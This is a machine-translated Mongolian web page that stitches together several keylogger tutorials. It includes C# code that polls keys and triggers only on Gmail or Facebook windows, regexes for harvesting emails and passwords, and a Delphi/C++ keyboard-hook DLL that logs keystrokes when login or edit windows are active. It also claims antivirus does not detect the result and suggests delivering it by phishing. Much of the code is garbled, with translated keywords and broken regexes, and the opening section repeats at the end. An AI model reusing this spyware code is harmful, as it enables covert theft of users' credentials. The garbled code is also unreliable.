Мэдээллийн аюулгүй байдлын лаборатори. Keylogger, эсвэл тэр гар дээр юу бичсэн бэ? Python дээр энгийн keylogger үүсгэх

Хакерын ертөнцийг халдагчдын гурван бүлэгт хувааж болно.


1) "Skids" (скрипт хүүхдүүд) - сайн мэддэг код, хэрэгслүүдийн хэсгүүдийг цуглуулж, энгийн хортой програм үүсгэхэд ашигладаг бяцхан шинэхэн хакерууд.


2) "Худалдан авагчид" нь шударга бус бизнес эрхлэгчид, өсвөр насныхан болон бусад сэтгэл хөдөлгөм эрэлхийлэгчид юм. Тэд интернетэд ийм программ бичих үйлчилгээг худалдан авч, түүний тусламжтайгаар янз бүрийн хувийн мэдээллийг цуглуулж, магадгүй дахин зарж борлуулдаг.


3) "Хар малгайт кодлогч" - програмчлалын гуру, архитектурын мэргэжилтнүүд. Тэд тэмдэглэлийн дэвтэрт код бичиж, эхнээс нь шинэ мөлжлөгүүдийг хөгжүүлдэг.


Сайн програмчлалын чадвартай хүн сүүлчийнх болж чадах уу? Та хэд хэдэн DEFCON сессэд оролцсоны дараа regin (холбоос) гэх мэт зүйлийг үүсгэж эхэлнэ гэж би бодохгүй байна. Нөгөөтэйгүүр, мэдээллийн аюулгүй байдлын ажилтан хортой програм бүтээгдсэн зарим ойлголтыг эзэмшсэн байх ёстой гэж би үзэж байна.


Мэдээллийн аюулгүй байдлын ажилтнуудад эдгээр эргэлзээтэй ур чадвар яагаад хэрэгтэй вэ?


Дайснаа мэд. Inside Out блог дээр бид ярилцсанчлан түүнийг зогсоохын тулд та гэмт хэрэгтэн шиг бодох хэрэгтэй. Би Варонисын мэдээллийн аюулгүй байдлын мэргэжилтэн бөгөөд миний туршлагаас харахад хэрэв та халдагч ямар хөдөлгөөн хийхийг ойлговол энэ гар урлалд илүү хүчтэй байх болно. Тиймээс би хортой программ хангамж болон хакердах хэрэгслийн янз бүрийн бүлгүүдийн цаана байгаа нарийн ширийн зүйлийн талаар цуврал нийтлэлүүдийг эхлүүлэхээр шийдсэн. Илрүүлэх боломжгүй программ хангамж үүсгэх нь хичнээн амархан болохыг ойлгосны дараа та байгууллагынхаа аюулгүй байдлын бодлогыг эргэн харахыг хүсч болно. Одоо илүү дэлгэрэнгүй.


Энэхүү албан бус "hacking 101" ангийн хувьд танд програмчлалын зарим мэдлэг (C# болон java) болон Windows архитектурын үндсэн ойлголт хэрэгтэй. Бодит байдал дээр энэ хортой програм нь хүрээнээс хамаарахгүйн тулд C/C++/Delphi хэл дээр бичигдсэн гэдгийг санаарай.


Keylogger


Түлхүүр хөтлөгч нь эвдэрсэн машин дээрх товчлуурын даралтыг таслан зогсоож, санах боломжтой програм хангамж эсвэл зарим төрлийн физик төхөөрөмж юм. Үүнийг гар дээрх товчлуур бүрт дижитал урхи гэж ойлгож болно.
Ихэнхдээ энэ функцийг бусад, илүү төвөгтэй програм хангамжид, жишээлбэл, Trojans (Remote Access Trojans RATS) дээр хэрэгжүүлдэг бөгөөд энэ нь таслагдсан өгөгдлийг халдагчид буцааж өгөх боломжийг олгодог. Техник хангамжийн товчлуурууд бас байдаг ч тэдгээр нь бага түгээмэл байдаг, учир нь... машинд шууд физик хандалтыг шаарддаг.


Гэсэн хэдий ч үндсэн keylogger функцийг бий болгох нь програмчлахад маш хялбар байдаг. АНХААРУУЛГА. Хэрэв та дараах зүйлсийн аль нэгийг туршиж үзэхийг хүсвэл зөвшөөрөлтэй байгаа эсэхээ шалгаарай, одоо байгаа орчныг тасалдуулахгүй байгаа эсэхээ шалгаарай, бүгдийг нь тусгаарлагдсан VM дээр хийх нь дээр. Дараа нь, энэ кодыг оновчтой болгохгүй, би танд даалгаврыг гүйцэтгэж чадах кодын мөрүүдийг харуулах болно, энэ нь хамгийн гоёмсог эсвэл оновчтой арга биш юм. Эцэст нь би танд keylogger-ийг дахин ачаалахад тэсвэртэй болгох эсвэл тусгай програмчлалын техникийг ашиглан үүнийг бүрэн илрүүлэхгүй болгох, мөн илрүүлсэн ч устгахаас хамгаалах талаар хэлэхгүй.



Гартай холбогдохын тулд C# хэл дээр 2 мөр ашиглахад л хангалттай.


1. 2. 3. нийтийн статик extern int GetAsyncKeyState(Int32 i);

Та MSDN дээрх GetAsyncKeyState функцийн талаар илүү ихийг мэдэж болно:


Ойлгохын тулд: Энэ функц нь дуудлага хийх үед товчлуур дарагдсан эсвэл суллагдсан эсэх, өмнөх дуудлагын дараа дарагдсан эсэхийг тодорхойлдог. Одоо бид гарнаас өгөгдөл хүлээн авахын тулд энэ функцийг байнга дууддаг.


1. while (үнэн) 2. ( 3. Thread.Sleep(100); 4. for (Int32 i = 0; i)< 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Энд юу болоод байна? Энэ давталт нь түлхүүр бүрийг 100 мс тутамд асууж, төлөвийг нь тодорхойлох болно. Хэрэв тэдгээрийн аль нэг нь дарагдсан (эсвэл дарагдсан) бол консол дээр энэ тухай мессеж гарч ирнэ. Бодит амьдрал дээр энэ өгөгдлийг буфер болгон халдагчид илгээдэг.


Ухаалаг keylogger

Хүлээгээрэй, бүх програмаас бүх мэдээллийг устгахыг оролдох нь утгагүй юу?
Дээрх код нь одоогоор фокустай байгаа цонх, оролтын талбараас түүхий гарны оролтыг татаж авдаг. Хэрэв таны зорилго бол зээлийн картын дугаар, нууц үг юм бол энэ арга нь тийм ч үр дүнтэй биш юм. Бодит нөхцөл байдлын хувьд ийм товчлуурыг хэдэн зуу эсвэл олон мянган машин дээр ажиллуулах үед өгөгдлийг задлан шинжлэх нь маш урт бөгөөд эцсийн дүндээ утгагүй болно. Халдагчийн хувьд үнэ цэнэтэй мэдээлэл тэр үед хуучирсан байж магадгүй.


Би лайк зарахын тулд Facebook эсвэл Gmail-ийн итгэмжлэлүүдийг авахыг хүсч байна гэж бодъё. Дараа нь шинэ санаа бол хөтчийн цонх идэвхтэй, хуудасны гарчигт Gmail эсвэл facebook гэсэн үг байгаа үед л товчлуурын бүртгэлийг идэвхжүүлэх явдал юм. Энэ аргыг ашигласнаар би итгэмжлэл авах боломжийг нэмэгдүүлнэ.


Кодын хоёр дахь хувилбар:


1. while (үнэн) 2. ( 3. IntPtr бариул = GetForegroundWindow(); 4. if (GetWindowText(бариул, буфф, тэмдэгт) > 0) 5. ( 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Нэвтрэх эсвэл Бүртгүүлэх")) 8. ( 9. //гар шалгах 10. ) 11. ) 12. Thread.Sleep(100); 13.)

Энэ хэсэг нь 100 мс тутамд идэвхтэй цонхыг илрүүлэх болно. Энэ нь GetForegroundWindow функцийг ашиглан хийгддэг (MSDN-ийн талаарх дэлгэрэнгүй мэдээлэл). Хуудасны гарчиг нь buff хувьсагчд хадгалагдах бөгөөд хэрэв энэ нь gmail эсвэл facebook агуулсан бол гар сканнердах фрагментийг дуудна.


Үүнийг хийснээр бид facebook болон gmail сайтууд дээр хөтөчийн цонх нээлттэй үед л гарыг сканнердсан эсэхийг баталгаажуулсан.


Бүр илүү ухаалаг keylogger


Халдагчид манайхтай төстэй код ашиглан өгөгдлийг олж авч чадсан гэж бодъё. Тэр хэдэн арван эсвэл хэдэн зуун мянган машиныг халдварлах хангалттай амбицтай гэж бодъё. Үр дүн: шаардлагатай мэдээллийг олж авах шаардлагатай гигабайт текст бүхий асар том файл. Тогтмол илэрхийлэл эсвэл регекстэй танилцах цаг болжээ. Энэ нь тодорхой загвар үүсгэх, өгөгдсөн загварт нийцсэн текстийг сканнердах мини хэлтэй адил зүйл юм. Та эндээс илүү ихийг олж мэдэх боломжтой.


Хялбаршуулахын тулд би нэвтрэх нэр, нууц үгтэй тохирох бэлэн илэрхийллийг нэн даруй өгөх болно.


1. //Шуудангийн хаяг хайж байна 2. ^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"* + \-/=?\^_`(|)~]+)*@((([\-\w]+\.)+(2,4))|(((1,3)\.) ( 3)(1,3)))$ 3. 4. 5. //Нууц үг хайж байна 6. (?=^.(6,)$)(?=.*\d)(?=.*)

Эдгээр илэрхийллүүд нь тэдгээрийг ашиглан юу хийж болох талаар зөвлөмж болгон энд байна. Ердийн хэллэгийг ашигласнаар та паспортын дугаар, зээлийн карт, данс, тэр ч байтугай нууц үг гэх мэт тодорхой бөгөөд өөрчлөгдөөгүй форматтай аливаа бүтцийг хайж (болон олох!) боломжтой.
Үнэн хэрэгтээ ердийн илэрхийллүүд нь хамгийн уншигдахуйц код биш боловч текст задлах даалгавартай бол програмистуудын хамгийн сайн найзуудын нэг юм. Java, C#, JavaScript болон бусад алдартай хэлүүд нь ердийн хэллэгийг дамжуулах боломжтой бэлэн функцуудтай байдаг.


C#-ийн хувьд дараах байдалтай байна.


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"* +\-/=?\^_`(|)~]+)*@((([\-\w]+\.)+(2,4))|(((1,3)\.) (3)(1,3)))$"); 2. Regex re2 = new Regex(@"(?=^.(6,)$)(?=.*\d)(?=.*)"); 3. string email = " [имэйлээр хамгаалагдсан]"; 4. string pass = "abcde3FG"; 5. Тохирох үр дүн = re.Match(email); 6. Тохирох үр дүн2 = re2.Match(pas);

Эхний илэрхийлэл (re) нь ямар ч имэйлтэй таарч, хоёр дахь (re2) нь 6 тэмдэгтээс их үсэг тоон бүтэцтэй таарч байна.


Үнэгүй бөгөөд бүрэн илрэхгүй


Миний жишээн дээр би Visual Studio ашигласан - та дуртай орчиноо ашиглаж болно - 30 минутын дотор ийм keylogger үүсгэх боломжтой.
Хэрэв би жинхэнэ халдлага үйлдэгч байсан бол жинхэнэ зорилтоо (банкны сайт, нийгмийн сүлжээ гэх мэт) онилж, эдгээр зорилгод нийцүүлэн кодыг өөрчлөх байсан. Мэдээжийн хэрэг, би ердийн нэхэмжлэх эсвэл бусад хавсралт мэтээр халхалсан программаараа фишинг и-мэйл кампанит ажил явуулах болно.


Нэг асуулт хэвээр байна: ийм програм хангамжийг хамгаалалтын программууд үнэхээр илрүүлэхгүй байх уу?


Би кодоо эмхэтгэж, Virustotal вэб сайтаас exe файлыг шалгасан. Энэ нь таны татаж авсан файлын хэшийг тооцоолж, мэдэгдэж буй вирусуудын мэдээллийн сангаас хайдаг вэбэд суурилсан хэрэгсэл юм. Гайхах! Мэдээжийн хэрэг юу ч олдсонгүй.



Энэ бол гол санаа юм! Та аюулын сканнеруудаас хэдхэн алхмын өмнө байж, кодыг үргэлж өөрчилж, хөгжүүлж чадна. Хэрэв та өөрийн кодыг бичиж чадвал энэ нь бараг илрэхгүй байх болно. Та энэ хуудаснаас бүрэн шинжилгээг унших боломжтой.


Энэхүү нийтлэлийн гол зорилго нь зөвхөн вирусны эсрэг програм ашигласнаар та байгууллагынхаа аюулгүй байдлыг бүрэн хангаж чадахгүй гэдгийг харуулах явдал юм. Боломжит хор хөнөөлтэй үйлдлүүдийг тодорхойлохын тулд бүх хэрэглэгчид, тэр ч байтугай үйлчилгээний үйлдлүүдийн талаар илүү нарийвчилсан үнэлгээ хийх шаардлагатай.


Дараагийн өгүүллээр би ийм програм хангамжийн үнэхээр үл мэдэгдэх хувилбарыг хэрхэн хийхийг харуулах болно.

Keylogger бичих тухай
аль хэдийн олон удаа хэлсэн, гэхдээ бүгдийг нь
нэг том дутагдалтай - дүрмээр бол,
маш хязгаарлагдмал мэдлэг шаардлагатай
бүх зүйлийг бүртгэлийн файлд бичихийн оронд мэдээлэл,
Хэрэглэгчийн гар дээр юу бичих нь таны хувьд боломжгүй юм
бодлын бүртгэлд маш их хоол өгөх болно
CS тоглож байхдаа товчлуур дарах

Энэ нь тагнуулч байх ёстой гэсэн үг
ахисан, тэр болгоныг тэнэгээр бичихгүй
тэд түүнд өгдөг :) Ийм нэвтрүүлэг хүртэл нэрлэж болно
тагнуулч хэлээ эргүүлдэггүй - бараг л
цахим агент 007:-))) арга замууд
Ингэснээр програм нь сонирхлын бүртгэлд бичдэг
Бидэнд маш их материал бий. Хамгийн энгийн -
идэвхтэй цонхнуудыг удирдах, өөрөөр хэлбэл. аль нь
яг одоо товчнууд хахаж байна :) Сайн байна уу
Тагнуулууд ихэвчлэн бүрддэг гэж би бодож байна
гүйцэтгэх боломжтой файл болон DLL. Энэ нь бодит байдлаас үүдэлтэй
цонх руу мессежийг юу таслах вэ
та шинэ ПРОЦЕСС үүсгэх хэрэгтэй бөгөөд ихэнх нь
Үүнийг хийх тохиромжтой арга бол dll ашиглах явдал юм.
Тиймээс идэвхжүүлэхийн тулд
үнэндээ мод бэлтгэгч өөрөө, танд энэ нь зөв байх болно
DLL-г ачаалах мөч, цонх идэвхтэй байх үед
өөр зүйл болгон өөрчлөх - санах ойноос буулгах.

Visual хэл дээр DLL-тэй ажиллах функцуудыг авч үзье
C++. dll санах ойд ачаалагдаж байна
функц hINSTAGE=LoadLibrary("name.dll"), hINSTAGE -
санах ойд ачаалагдсан DLL-ийн тодорхойлогч шиг,
name.dll - номын сангийн нэр. Үүнийг буулгахын тулд,
FreeLibrary функц байна(hINSTAGE);

Одоо бид хэрэгтэй зүйлээ хэрхэн олж авах талаар
програмууд. Жишээлбэл, хэрэглэгч гэдгийг бид мэднэ
www.mail.ru вэбсайтаар дамжуулан захидал уншдаг, тэгвэл та чадна
агентыг саад болохуйцаар тохируулна уу
хэрэглэгч үүн рүү очих үед товчлуур дарна
вэб сайт. (Заримд нь үүнийг санах хэрэгтэй
Гарын тагнуулч програм огт байхгүй
жишээ нь хаягийн мөрөнд ажиллах боломжтой
Internet Explorer"a - энэ нь "гэмтэлд хүргэдэг
хөтөлбөрүүдийг дуусгах" - та өөр юу вэ
Windows хүссэн :))) Энэ аргын хувьд энэ нь нэлээд юм
залгагчаас нууц үг унших нь бас тохиромжтой
- хэрэв хэрэглэгч паранойд өртдөг бол тэр бүр
нэвтрэлт оруулаад гараар дамжуулдаг :) Эсвэл үнэхээр үү
Outlook дээр юу бичдэгийг мэдэх нь сонирхолтой юм
тэмдэглэлийн дэвтэрт. Кодын хийдэг хэсэг нь энд байна
цонхны гарчгийг бидэнд хэрэгтэй байгаатай харьцуулах.

HINSTAGE HINSTAGE;

байхад (1)
{
// Гогцоог эхлүүлнэ.

int sl,ll;
ll=1;
sl=2;
// хувьсагч
тоолуур
А.
char st;
HWND hw;
//Хамгийн энгийнээр нь явцгаая
by - тэмдэгт мөрүүдийг харьцуулах:
гарч ирсэн цонхны гарчиг болон бидэнд хэрэгтэй
шугам.

байхад (ll!=sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128); // унших

char stt = "_ Энд бид хүссэн гарчгийг бичнэ
бидэнд зориулсан цонхнууд_№1";

sl=strlen(stt);
ll=0;
байхад (stt==st)
//харьцуулах
мөр мөрөөр
//энэ байрлалаас үүнийг хийх нь илүү тохиромжтой
шаардлагатай нь таарч байгаа эсэхийг шалгана уу
//бид мөрийг өөр стрингын хэсэг болгон ашиглаж болно, та чадна
//өргөн шүүлтүүр гэх мэт зүйл хийх.

{
ll++;
}

хэрэв (ll==sl) ( //хэрэв мөрүүд
1-р мөрийн төгсгөл хүртэл таарч -

зогсох; // үйл явцыг тасалдуулах
}
// гэх мэт - хэрэв
та олон цонх байгаа эсэхийг шалгах хэрэгтэй.

char stt = "_ Энд бид хүссэн гарчгийг бичнэ
windows for us_No. 2";
sl=strlen(stt);
ll=0;
байхад (stt==st)
{
ll++;
}

хэрэв (ll==sl) (
зогсох; // үйл явцыг тасалдуулах
}

Дараалсан шалгалтын оронд та боломжтой
харьцуулахдаа параллель болгох
наад зах нь нэг бол эгнээний элементийн нэг мөчлөг
таарч байвал DLL тагнуул идэвхжсэн байна.

hINSTAGE=LoadLibrary("key1.dll");

Одоо бид байнга шалгаж байх хэрэгтэй
Энэ цонх идэвхтэй хэвээр байгаа эсэх.

байхад (ll==sl) //Баяртай
шугамууд таарч байна - бид байрандаа эргэлддэг

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// унших
одоо идэвхтэй байгаа цонх.

ll=0;
байхад (stt==st)
{
ll++;
}
}

Циклээс гарах нь идэвхтэй байгааг харуулж байна
цонх өөрчлөгдсөн тул дараа нь бид "тагнуулын програм" -ыг устгана.
номын сан ба мөчлөг эхнээсээ эхэлдэг - i.e.
програм дахин нэгийг хүлээж байна
шаардлагатай цонхнууд.

FreeLibrary(hINSTAGE);

Гэсэн хэдий ч дээрх арга нь бас байдаг
Сул талууд - байнга шалгаж байх шаардлагатай
Цонхны бүх жагсаалтаас танд хэрэгтэй цонх байна уу?
Бид одоогоор идэвхтэй байна. Тийм ч учраас
Та өөр алгоритм ашиглаж болно - бүү шалга
цонхны гарчиг, энд байгаа эсэхийг харна уу
EditBox төрлийн цонхны элементүүд Дүрмээр бол,
Тэнд нууц үг бичсэн байгаа :) Үүний тулд байх болно
энэ цонхны элементүүдийг харна уу - мөн бол
Тэдний дунд Edit байдаг - дараа нь бид DLL-ийг ачаална.

char p2, p3; //массив
цонхны гарчигт зориулсан тэмдэгтүүд.

Дахин хэлэхэд бид бүх цонхыг давталтаар шалгана:

байхад (p3!="Засварлах") //Баяртай
Бид засварлах хайрцагтай цонх олдсонгүй - гогцоо ажиллуул

{

hw=GetForegroundWindow();

HWND hwnd_child; // хувьсагч
цонхны элемент

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child,p3,128);
хэрэв (p3! = "Засварлах")
// хэрэв эхнийх нь бол
EditBox биш - цонхны элементүүдийг олсон
цааш харах

{
байхад (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child,p3,128);
хэрэв (p3=="Засварлах")
{
зогсох;
}
}
}
}

Одоо тагнуулын DLL-ийн тухай.
Үүнийг Delphi дээр бичих нь дээр, учир нь энэ
Паскалийн төлөвшсөн удамд ийм зүйл байдаггүй
гажуудсан "Сипипиш" зуршил
өгөгдлийн төрлүүдийн талаар nitpicking. Бүтээх
номын санг сонгох File-New-Direct Link Library - болон
DLL-ийн загвар бэлэн боллоо. Энд код нь өөрөө байна:

номын сангийн түлхүүр1;
Windows ашигладаг;

var
KHook: HHOOK; // хувьсагч
"занга"

функц KProc(Код: бүхэл тоо; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: бүхэл тоо = 1073741824; // код
"түлхүүр дарагдсан"

var
Simv: ShortString;
KL: Char-ийн массив; // төлөө
гарын байрлалыг шалгаж байна

FStruct: TOFSTRUCT;
F: Текст файл;
// хувьсагч
бүртгэлийг бүртгэх файл.

Эхлэх

// шаардлагагүй зүйлсийг устгана
зурвасууд
хэрэв (lParam ба KState)<>тэгвэл 0
Эхлэх

Гарах;
Төгсгөл;

AssignFile(F, "keylog.txt");

// нээх гэж оролдож байна
"keylog.txt" файл:
хэрэв OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR бол
Эхлэх
Дахин бичих(F);
// хэрэв файл байхгүй бол
бий болгосон - бид бүтээдэг.

Төгсгөл
elseAppend(F);
//хэрэв байгаа бол бичнэ үү
Төгсгөл.

Simv:=chr(0); //тэг болгон дахин тохируулна
гарнаас уншсан тэмдэгтийн хувьсагч.

// кодыг шинжлэх
товчлуур дарагдсан
case wParam of
// тоо
48..57: Simv:=Chr(wParam);
96: Simv:="0";
97: Simv:="1";
...
104: Simv: = "8";
105: Simv: = "9";
189,109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
Төгсгөл;

GetKeyboardLayoutName(KL); //
зохион байгуулалтыг шалгаж байна

хэрэв KL = "00000409" бол // Хэрэв
Латин:

Эхлэх
case wParam of
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv:=Chr(wParam);
Төгсгөл;
Төгсгөл;
Төгсгөл;
хэрэв KL = "00000419" бол
// Хэрэв
орос

Эхлэх
case wParam of
219: Simv:="X";
221: Simv:="Ъ";
186: Simv:="F";
222: Simv:="E";
188: Simv:="B";
190: Simv: = "Ю";
191: Simv:=".";
65: Simv:="F";
...
87: Simv:="C";
88: Simv:="H";
89: Simv:="N";
90: Simv: = "Би";
Төгсгөл;

//хэрэв тэмдэг хоосон биш бол (жишээ нь.
Хэрэв үсэг тоон товчлуур дарагдсан бол)
//дараа нь файл руу бичнэ
хэрэв Simv<>"" тэгвэл
Бичих(F, Simv);
//файлыг хаах
CloseFile(F);

// зурвас илгээх
систем дэх бусад урхи
Үр дүн:=CallNextHookEx(KHook, код, wParam, lParam);
Төгсгөл;

Эхлэх
// Хавх тавих
гарын мессежийг таслах.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HIInstance, 0);

Энэ програмыг мөн хялбаршуулж болно
програмаас хамааран - хэрэв
та зөвхөн нэг удаа тоолох хэрэгтэй гэж бодъё
залгагчаас нууц үг - дараа нь та тохируулж болно
бидэнд хэрэгтэй болтол нь цонхыг шалгаж, хэзээ хэрэгтэй
идэвхтэй болно - номын санг ачаална уу
key1.dll, тодорхой цаг хүлээх хэрэгтэй
Хэрэглэгч эдгээр тэмдэгтүүдийг бичих цагтай болно
гар, дараа нь номын сан болон
хөтөлбөрийг дуусгах. Энэ нь иймэрхүү зүйл :)

hINSTAGE=LoadLibrary("key1.dll");
Унтах (10000);
//Үүний тулд 10 секунд хүлээнэ үү
хэрэглэгч нууц үгээ бичих цаг.
//хэрэглэж цагийг нэмэгдүүлж болно
хэрэглэгчийн дарангуйлах түвшингээс хамаарна
// болон түүний гар дээр бичих хурд :)

FreeLibrary(hINSTAGE);

Жич: Дээрх бүх материалыг өгсөн
зөвхөн демо болон
ерөнхий боловсролын зорилго, зохиогч тавьсан
Надад үзүүлэх даалгавар байна
"шинэчилсэн" төрлийн програмын алгоритм
keylogger" гэх мэт
үүнийг ашиглах хариуцлага
материал чам дээр унана (их
ачаалал 🙂) кодын хэрэгжилтийг агуулна
үнэхээр хор хөнөөл учруулахгүй бага зэргийн алдаа
алгоритм - тэдгээрийг өөрөө олохыг хичээ)).

PSS: Мэдээжийн хэрэг, keylogger зөвхөн чадахгүй
үндсэн үүргээ гүйцэтгэх -
үнэндээ бичих товч дарахад бүртгэлд, гэхдээ бас
өөрийн хэрэгцээнд нийцүүлэн дарагдсан товчлууруудын утгыг өөрчлөх
амт - гэхдээ үүнийг хэрхэн хийх, юунд зориулагдсан
зүгээр л амин чухал байж болох юм - in
дараагийн удаа :)

Сайн байна уу, Хабаровскийн оршин суугчид.

Би WinAPI ашиглан C++ хэл дээр програм хангамжийн гар бүртгэгч бичихээр шийдсэн. Би үүнийг бичихдээ ямар нэгэн тагнуулын зорилготой байсан гэж хэлж чадахгүй, харин би WinAPI дэгээтэй танилцаж байсан. Энэ нь тийм ч муу биш байсан тул Habré-д програм хангамжийн бүртгэл хөтлөгчийн тухай нийтлэл байхгүй тул би өөрөө бичихээр шийдсэн.

Үүнийг хэрхэн хийдэг вэ?

Товчлуур дарахад гарны дэгээ ашигласан.

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

Гарын бүх товчлуурын даралтыг таслан зогсоохын тулд WH_KEYBOARD эсвэл WH_KEYBOARD_LL-г idHook параметр болгон зааж өгөх нь тохиромжтой. Цорын ганц ялгаа нь WH_KEYBOARD_LL нь системийн товчлуур дарахад саад болдог (жишээ нь, Alt товчийг дарсан үед аль нэг товчлуур), бид үүнийг сонгох болно.

Lpfn нь тасалдсан мессежийг боловсруулдаг функцийн заагч юм (манай тохиолдолд товчлуур дарах).
hMod нь боловсруулах функцийг агуулсан програмын жишээний бариул юм.
dwThreadId нь бидний зурвасыг таслан зогсоохыг хүссэн хэлхээний танигч юм. Бүх хэлхээсээс мессежийг таслахын тулд энэ параметрийг 0 болгож тохируулах ёстой.

Буцах утга нь манай дэгээний бариул бөгөөд үүнийг гарах үед UnhookWindowsHookEx функцээр чөлөөлөх шаардлагатай.
Тусламж авахын тулд MSDN-г харвал бид энэ дэгээнээс мессеж боловсруулдаг функцийн прототипийг харж байна.

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

nCode нь HC_ACTION-тэй тэнцүү байх ёстой, эс тэгвээс мессежийг өөр процесст өгнө.
wParam нь дараах утгуудын нэг юм: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, эсвэл WM_SYSKEYUP.
lParam нь KBDLLHOOKSTRUCT бүтцийн заагч бөгөөд бид зөвхөн 2 параметрийг сонирхож байгаа талбаруудад: vkCode (виртуал код) болон дарагдсан товчлуурын скан код.
Энэ функц нь CallNextHookEx функцийн утгыг буцаах ёстой, эс тэгвээс үйл явдлыг боловсруулдаг дараагийн дэгээ нь буруу мессежийн параметрүүдийг хүлээн авч болзошгүй.
Түлхүүр дарах болгонд манай программ энэ үйл явдлыг таслан зогсоож, LowLevelKeyboardProc процедурын тусламжтайгаар боловсруулна.

Түлхүүрийн виртуал болон скан кодыг симбол хэлбэрт дахин орчуулахын тулд бидэнд ToAsciiEx функц хэрэгтэй.

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_optwh_ HKL);

Эхний 2 параметр нь тус тус түлхүүрийн виртуал болон скан кодууд юм.
lpKeyState — гарын төлөв, аль товчлуур дарагдсан/идэвхтэй байгааг шалгадаг.
lpChar нь функц нь түлхүүрийн бэлгэдлийн дүрслэлийг бичих давхар үгийн заагч юм.
uFlags нь цэсийн үйл ажиллагааг харуулсан параметр юм.
dwhkl - гарын байршлын тодорхойлогч.
Буцах утга нь lpChar буферт бичигдсэн тэмдэгтүүдийн тоо юм. 1 тэмдэгт бичсэн тохиолдолд бид сонирхож байна.
Үндсэндээ эдгээр нь хамгийн энгийн гар бүртгэгчийн шаардлагатай 3 үндсэн функц юм.

Хөтөлбөрийн талаар бага зэрэг

Энэ програмыг Visual Studio 2013 дээр RTLгүйгээр эмхэтгэсэн. Тиймээс бид гүйцэтгэгдэх файлын хэмжээ бага, дибаг хийх хувилбарыг бүтээх боломжгүй болсон. Өгөгдөл нь .exe файл байрладаг нэг директор дахь бүртгэлийн файлд бичигдэнэ. Тохиромжтой болгох үүднээс бүртгэл хөтлөгч бичлэг хийх бүртээ шинэ файл үүсгэж, товчлуур дарах хугацаа, тэмдэгт оруулсан цонхны нэрийг бүртгэж, LSHIFT+RSHIFT товчийг дарж зогсдог. Энэ үнэрлэгчийг бүрэн гарт тохируулаагүй; F13 эсвэл NUM_LOCK гэх мэт зарим үйлчилгээний товчлууруудыг гэж бичиж болно. C/C++ хэлийг бага ч болов мэддэг хүмүүс амархан нэмж болно гэж бодож байна. Үүнээс гадна та кодыг өөрт тохируулан бүрэн өөрчилж болно.

Хакерын ертөнцийг халдагчдын гурван бүлэгт хувааж болно.


1) "Skids" (скрипт хүүхдүүд) - сайн мэддэг код, хэрэгслүүдийн хэсгүүдийг цуглуулж, энгийн хортой програм үүсгэхэд ашигладаг бяцхан шинэхэн хакерууд.


2) "Худалдан авагчид" нь шударга бус бизнес эрхлэгчид, өсвөр насныхан болон бусад сэтгэл хөдөлгөм эрэлхийлэгчид юм. Тэд интернетэд ийм программ бичих үйлчилгээг худалдан авч, түүний тусламжтайгаар янз бүрийн хувийн мэдээллийг цуглуулж, магадгүй дахин зарж борлуулдаг.


3) "Хар малгайт кодлогч" - програмчлалын гуру, архитектурын мэргэжилтнүүд. Тэд тэмдэглэлийн дэвтэрт код бичиж, эхнээс нь шинэ мөлжлөгүүдийг хөгжүүлдэг.


Сайн програмчлалын чадвартай хүн сүүлчийнх болж чадах уу? Та хэд хэдэн DEFCON сессэд оролцсоны дараа regin (холбоос) гэх мэт зүйлийг үүсгэж эхэлнэ гэж би бодохгүй байна. Нөгөөтэйгүүр, мэдээллийн аюулгүй байдлын ажилтан хортой програм бүтээгдсэн зарим ойлголтыг эзэмшсэн байх ёстой гэж би үзэж байна.


Мэдээллийн аюулгүй байдлын ажилтнуудад эдгээр эргэлзээтэй ур чадвар яагаад хэрэгтэй вэ?


Дайснаа мэд. Inside Out блог дээр бид ярилцсанчлан түүнийг зогсоохын тулд та гэмт хэрэгтэн шиг бодох хэрэгтэй. Би Варонисын мэдээллийн аюулгүй байдлын мэргэжилтэн бөгөөд миний туршлагаас харахад хэрэв та халдагч ямар хөдөлгөөн хийхийг ойлговол энэ гар урлалд илүү хүчтэй байх болно. Тиймээс би хортой программ хангамж болон хакердах хэрэгслийн янз бүрийн бүлгүүдийн цаана байгаа нарийн ширийн зүйлийн талаар цуврал нийтлэлүүдийг эхлүүлэхээр шийдсэн. Илрүүлэх боломжгүй программ хангамж үүсгэх нь хичнээн амархан болохыг ойлгосны дараа та байгууллагынхаа аюулгүй байдлын бодлогыг эргэн харахыг хүсч болно. Одоо илүү дэлгэрэнгүй.


Энэхүү албан бус "hacking 101" ангийн хувьд танд програмчлалын зарим мэдлэг (C# болон java) болон Windows архитектурын үндсэн ойлголт хэрэгтэй. Бодит байдал дээр энэ хортой програм нь хүрээнээс хамаарахгүйн тулд C/C++/Delphi хэл дээр бичигдсэн гэдгийг санаарай.


Keylogger


Түлхүүр хөтлөгч нь эвдэрсэн машин дээрх товчлуурын даралтыг таслан зогсоож, санах боломжтой програм хангамж эсвэл зарим төрлийн физик төхөөрөмж юм. Үүнийг гар дээрх товчлуур бүрт дижитал урхи гэж ойлгож болно.
